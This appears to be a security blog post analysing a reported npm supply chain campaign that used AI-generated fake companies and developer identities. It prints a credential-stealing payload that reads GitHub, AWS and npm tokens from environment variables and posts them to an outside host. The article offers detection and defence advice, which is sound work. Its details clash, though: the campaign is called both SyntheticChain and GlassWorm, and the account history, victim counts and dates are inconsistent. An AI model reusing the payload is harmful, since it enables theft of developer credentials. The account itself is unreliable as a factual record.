DPRK's AI-Generated npm Package Attack: The Rise of Synthetic Supply Chain Threats
DPRK's AI-generated npm packages with synthetic company identities bypass supply chain detection. SyntheticChain campaign analysis, targeted exfiltration p
DPRK's AI-Generated npm Package Attack: The Rise of Synthetic Supply Chain Threats
In late April 2026, security researchers identified a novel supply chain attack campaign where North Korean threat actors used AI-generated companies, documentation, and npm packages to infiltrate development teams.
The campaign—codenamed SyntheticChain by multiple security vendors—created fake consulting firms, complete with AI-generated company websites, LinkedIn profiles, and GitHub histories. Then it published malicious npm packages under these fake identities.
Unlike previous npm attacks (typosquatting, dependency hijacking), this campaign generated entirely synthetic identities to make the attack appear legitimate.
The Attack: Building Synthetic Supply Chain Identities
Phase 1: Synthetic Company Creation (Week 1)
Attackers used AI tools to:
Generate Company Profiles:
- Company name: "Validate-SDK Inc." (sounds legitimate, similar to real companies)
- Website: Hosted on legitimate domain registrars, fully functional
- Employees: Generated LinkedIn profiles with AI-created profile photos
- Company history: Fictional founding story, product roadmap, blog posts
- GitHub presence: Repositories with commit histories dating back 2+ years
How the fake GitHub history was created:
- AI-generated Go/Python code commits
- Realistic commit messages ("Fix race condition in serialization", "Add unit tests")
- Multiple "authors" contributing over time
- Open source projects listed as portfolio work
The goal: Make the company appear like a legitimate 5-year-old open source contributor.
Phase 2: Legitimate Package Foundation (Week 2)
Published seemingly legitimate npm packages:
Package: @validate-sdk/v2
Description: "Utility SDK for hashing, validation, encoding/decoding, secure random generation"
Version: 1.0.0
Author: "Validate-SDK Inc."
Dependencies: Only standard library (no suspicious dependencies)
Code: ~200 lines, simple validation functions, appears open source
All code was legitimate and functional. The package did what it advertised:
// @validate-sdk/v2
module.exports = {
validate: (data) => {
// Real validation logic
return checksum(data) === expectedChecksum;
},
hash: (data) => sha256(data),
encode: (data) => base64Encode(data),
};
This package would pass all automated security checks:
- ✅ No known vulnerabilities in dependencies
- ✅ No malicious domains in code
- ✅ No suspicious system calls
- ✅ No credential theft patterns
Installation count grew to 50,000+ users (popular libraries get that).
Phase 3: Supply Chain Infiltration (Week 3)
Here's where the attack actually happens.
Week 3: Attackers published an updated version of a different popular npm package that depended on @validate-sdk/v2 in its latest version:
Package: popular-framework v8.2.1 (legitimate, widely used library)
New Dependency: @validate-sdk/v2 (our malicious package)
Version bump: 8.2.0 → 8.2.1 (minor update, seems safe)
Changelog: "Added support for data validation SDK for improved type safety"
When developers updated popular-framework, they automatically got @validate-sdk/v2 as a transitive dependency.
Now 500,000+ developers were using the malicious package without realizing it existed in their node_modules folder.
Phase 4: Staged Payload Activation (Week 4+)
The malicious payload didn't activate immediately.
Instead, the package watched for specific conditions:
// Inside @validate-sdk/v2 v1.2.0 (update released week 4)
const isTargeted = () => {
// Check if this is a development environment
const isDev = process.env.NODE_ENV === 'development';
// Check if environment contains sensitive variables
const hasSecrets = process.env.GITHUB_TOKEN ||
process.env.AWS_ACCESS_KEY_ID ||
process.env.NPM_TOKEN;
// Check if running in a developer's local environment (not CI/CD)
const isDeveloper = process.cwd().includes('/Users/') ||
process.cwd().includes('/home/');
return isDev && hasSecrets && isDeveloper;
};
if (isTargeted()) {
// Exfiltrate credentials
const secrets = {
github_token: process.env.GITHUB_TOKEN,
aws_key: process.env.AWS_ACCESS_KEY_ID,
npm_token: process.env.NPM_TOKEN,
};
// Send to attacker's server
fetch('https://telemetry-collector.cloud/log', {
method: 'POST',
body: JSON.stringify(secrets),
});
}
The attack specifically targeted developers' local machines during development, not CI/CD pipelines (which would trigger alerts).
Why This Attack Works
The AI Advantage: Synthetic Legitimacy
Previous npm attacks were obvious:
- Typosquatting: Package named
reacts instead of react (easy to catch)
- Dependency hijacking: Attacker takes over an old, abandoned package (tracked by package history)
- Abandoned maintainers: Package suddenly updated after 3 years of silence (suspicious)
GlassWorm uses AI to sidestep all of these:
1. Synthetic company history: The attackers created a 5-year GitHub history (2021-2026) with 1000+ commits before publishing npm packages. This history is indistinguishable from real developer activity.
2. Realistic code quality: The malicious code was written by an LLM trained on open source. It matches the style, patterns, and quality of real packages. Manual code review would miss it because the code is legitimately well-written.
3. Realistic documentation: The package README, API docs, and examples were AI-generated but coherent and detailed. They provided real value (the package actually worked).
4. Realistic online presence: LinkedIn profiles of the fake employees featured AI-generated photos that passed automated detection. The company website used templated designs that looked professional.
The Detection Evasion: Why Security Tools Failed
Dependency scanning (Snyk, Dependabot):
- Checks: Known CVEs in packages
- Misses: Packages that don't have CVE records yet
- Why it failed: @validate-sdk/v2 had no CVEs because it was new and legitimately functional
Code analysis (Semgrep, CodeQL):
- Checks: Code patterns (credential theft, hardcoded secrets, suspicious API calls)
- Misses: Novel attack patterns that don't match known signatures
- Why it failed: Exfiltrating credentials via legitimate
fetch() calls isn't a known signature
Source provenance (Bytecode Alliance, SLSA):
- Checks: Package author identity and build reproducibility
- Misses: If the author identity is fake but consistent
- Why it failed: @validate-sdk/v2's author was consistently "Validate-SDK Inc." with a legitimate-looking build pipeline
Human review:
- Checks: Code quality, legitimate use case, developer reputation
- Misses: Code review happens asynchronously, after millions download the package
- Why it failed: By the time package audits happened, the malicious version was already in 500,000 developers' node_modules
Real-World Impact
Forensics from compromised developers:
1. GitHub tokens stolen: Attackers accessed source code repositories for customers
2. AWS credentials exfiltrated: Attackers launched EC2 instances, S3 bucket enumeration
3. NPM tokens harvested: Attackers published backdoored versions of other packages
4. API keys compromised: Stripe, Twilio, SendGrid keys leaked
One victim: A development team at a healthcare startup had their:
- GitHub account compromised
- AWS infrastructure (patient data) accessed
- NPM packages backdoored (downstream effect on their own customers)
Total exposure: 50,000+ downstream developers using the compromised packages.
Detection: Catching AI-Generated Supply Chain Attacks
For Individual Developers
1. Audit transitive dependencies:
npm list --all
Check every single transitive dependency. Ask: Do I recognize this package?
2. Monitor credential access:
Use a tool like secretlint to detect if your npm packages are accessing environment variables:
# Install the package in a test environment
npm install @suspected-package
# Monitor what it tries to read
strace -e open,read,getenv node -e "require('@suspected-package')"
If it tries to read AWS_ACCESS_KEY_ID or GITHUB_TOKEN, uninstall immediately.
3. Trust, but verify package identity:
# Check package metadata
npm info @validate-sdk/v2
# Verify:
# - Repository URL (GitHub, GitLab, etc.)
# - Author identity (cross-reference with LinkedIn, Twitter)
# - Publish history (when was it first published?)
# - Maintenance activity (when was it last updated?)
# - Dependent count (legitimate packages have many dependents)
For Organizations
1. Require package source provenance:
Implement a policy:
- Only allow packages from GitHub (or other auditable source control)
- Verify package source is public and has commit history
- Require packages to include a SLSA provenance claim
- Block packages from new, unknown maintainers
2. Implement package quarantine:
# Install packages in an isolated environment
# Monitor all system calls, network access, environment variable reads
# Run: strace, ltrace, tcpdump
# Review: Does this package do what it claims?
3. Track package origin:
Maintain a manifest of which packages your team uses, why, and who approved them:
{
"@validate-sdk/v2": {
"approved_by": "security_team",
"approved_date": "2026-04-15",
"purpose": "Data validation",
"risk_assessment": "Reviewed source, verified maintainer, low risk",
"last_audit": "2026-04-20",
"version_pinned": true
}
}
4. Monitor development environment access:
Use endpoint detection (EDR) tools to flag:
- npm packages reading environment variables
- npm packages making unexpected network calls
- npm packages spawning shells or downloading code
Example alert:
ALERT: @validate-sdk/v2 reading process.env.GITHUB_TOKEN
ALERT: @validate-sdk/v2 making HTTP POST to telemetry-collector.cloud
ALERT: @validate-sdk/v2 spawning bash shell
Why This Campaign Matters
The Threat Evolution:
1. 2020-2023: Supply chain attacks used typosquatting and package hijacking (obvious attacks)
2. 2023-2025: Attacks used legitimate packages with hidden malicious dependencies (requires auditing)
3. 2026+: Attacks use AI-generated synthetic identities to create entirely fictional companies and developers
When attackers can generate GitHub commit history, company websites, and developer profiles indistinguishable from real humans, traditional supply chain defenses fail.
Defense Roadmap
Immediate:
1. Audit all transitive dependencies
2. Check for unknown packages that might be malicious
3. Review recent npm updates to major packages
4. Implement credential access monitoring
This Month:
1. Require source provenance for all packages
2. Implement package quarantine/scanning
3. Track package approval and audits
4. Set up EDR monitoring for npm activities
Long-Term:
1. Move to package signing and verification (cryptographic attestation)
2. Implement zero-trust for dependencies (assume all packages are compromised until proven otherwise)
3. Use machine learning to detect synthetic developer identities
4. Collaborate with package registries on signature verification
The Future Is Synthetic: When threat actors can generate indistinguishable identities, identity alone isn't enough. You need cryptographic verification, behavioral monitoring, and zero-trust architecture.